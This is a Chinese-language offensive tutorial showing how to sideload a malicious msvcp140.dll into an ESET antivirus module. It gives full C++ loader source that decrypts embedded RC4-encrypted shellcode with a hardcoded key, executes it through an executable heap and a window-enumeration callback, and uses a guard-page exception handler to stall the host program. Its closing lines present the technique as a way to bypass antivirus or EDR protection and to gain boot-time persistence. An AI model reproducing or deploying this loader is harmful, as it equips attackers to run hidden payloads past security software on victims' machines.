1.寻找劫持对象
使用ProcessMonitor查看目标程序加载dll情况
这里侧载的对象是eset 32的一个模块ecmds,侧载的dll为msvcp140.dll
可以看到堆栈的情况,并没有调用LoadLibrary函数的情况,该dll加载先于程序的入口点,原始程序加载完dll运行一段时间就会退出,因此可以在msvcp140.dll被加载后将程序入口点patch阻断原始程序的运行流程
2.dll侧载
使用SharpDllProxy将msvcp140.dll的导出函数导出到文件中,该工具会生成一个.c的文件和一个dll,这个dll就是原始的msvcp140.dll
将上面导出的函数替换到下面代码的位置,然后编译生成dll文件,将该dll文件重命名为msvcp140.dll
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#使用SharpDllProxy到处的原始dll的导出函数
HANDLE threadHandle = NULL;
PVOID pmem;
PVOID addr;
PBYTE loaderEntryPoint;
DWORD lpflOldProtect;
DWORD lpflOldProtect1;
unsigned char shellcode[] = {};
unsigned int len = 894;
BOOL DecryptShellcode()
{
BOOL bSuccess = TRUE;
HCRYPTKEY hCryptoKey;
HCRYPTHASH hCryptHash;
HCRYPTPROV hCryptoProv;
DWORD dwLen = 10;
unsigned char pbKey[] = "qwe123qaz?";
bSuccess = CryptAcquireContextW(&hCryptoProv, NULL, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
if (!bSuccess)
{
goto CLEANUP;
}
bSuccess = CryptCreateHash(hCryptoProv, ((4 << 13 | (0) | 12)), 0, 0, &hCryptHash);
if (!bSuccess)
{
goto CLEANUP;
}
bSuccess = CryptHashData(hCryptHash, pbKey, dwLen, 0);
if (!bSuccess)
{
goto CLEANUP;
}
bSuccess = CryptDeriveKey(hCryptoProv, CALG_RC4, hCryptHash, 0, &hCryptoKey);
if (!bSuccess)
{
goto CLEANUP;
}
bSuccess = CryptDecrypt(hCryptoKey, NULL, FALSE, 0, (BYTE*)shellcode, (PDWORD)&len);
if (!bSuccess)
{
goto CLEANUP;
}
goto CLEANUP;
CLEANUP:
CryptReleaseContext(hCryptoProv, 0);
CryptDestroyKey(hCryptoKey);
CryptDestroyHash(hCryptHash);
return bSuccess;
}
VOID ExecuteShellcode() {
DecryptShellcode();
HANDLE hHep = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
pmem = (PBYTE)HeapAlloc(hHep, 0, len);
memcpy(pmem, shellcode, len);
EnumChildWindows((HWND)NULL, (WNDENUMPROC)pmem, NULL);
}
LONG NTAPI VEH(PEXCEPTION_POINTERS pExcepInfo)
{
//if (pExcepInfo->ExceptionRecord->ExceptionAddress == loaderEntryPoint)
if (pExcepInfo->ExceptionRecord->ExceptionCode == EXCEPTION_GUARD_PAGE) {
if (pExcepInfo->ExceptionRecord->ExceptionAddress == loaderEntryPoint) {
//ExecuteShellcode();
VirtualProtect(loaderEntryPoint, 1, lpflOldProtect, &lpflOldProtect);
//VirtualProtect(Sleep, 1, PAGE_EXECUTE_READWRITE | PAGE_GUARD, &lpflOldProtect1);
WaitForSingleObjectEx(threadHandle, INFINITE, TRUE);
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
VOID Patch() {
HMODULE loaderImage = GetModuleHandleA(NULL);
DWORD len = 1;
loaderEntryPoint = (PBYTE)loaderImage + *(DWORD*)((PBYTE)loaderImage + *((DWORD*)loaderImage + 15) + 40);
//addr = (PBYTE)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
VirtualProtect(loaderEntryPoint, 1, PAGE_EXECUTE_READ|PAGE_GUARD, &lpflOldProtect);
//_NtProtectVirtualMemory(hProc, (PVOID*)&loaderEntryPoint, (PSIZE_T)&len, PAGE_EXECUTE_READWRITE | PAGE_GUARD, &lpflOldProtect);
//ExecuteShellcode();
//*(loaderEntryPoint) = 0xcc;
AddVectoredExceptionHandler(0, &VEH);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
threadHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ExecuteShellcode, NULL, 0, NULL);
Patch();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
将ecmds和tmpBC2E.dll以及msvcp140.dll放在同一目录运行,BOOM!
对edr或者杀软的组件进行侧载会有意想不到的效果,可能会绕过某些杀软的防护
一般的,edr或者杀软都会开机启动,因此对这类程序的dll劫持也能够起到很好的权限维持效果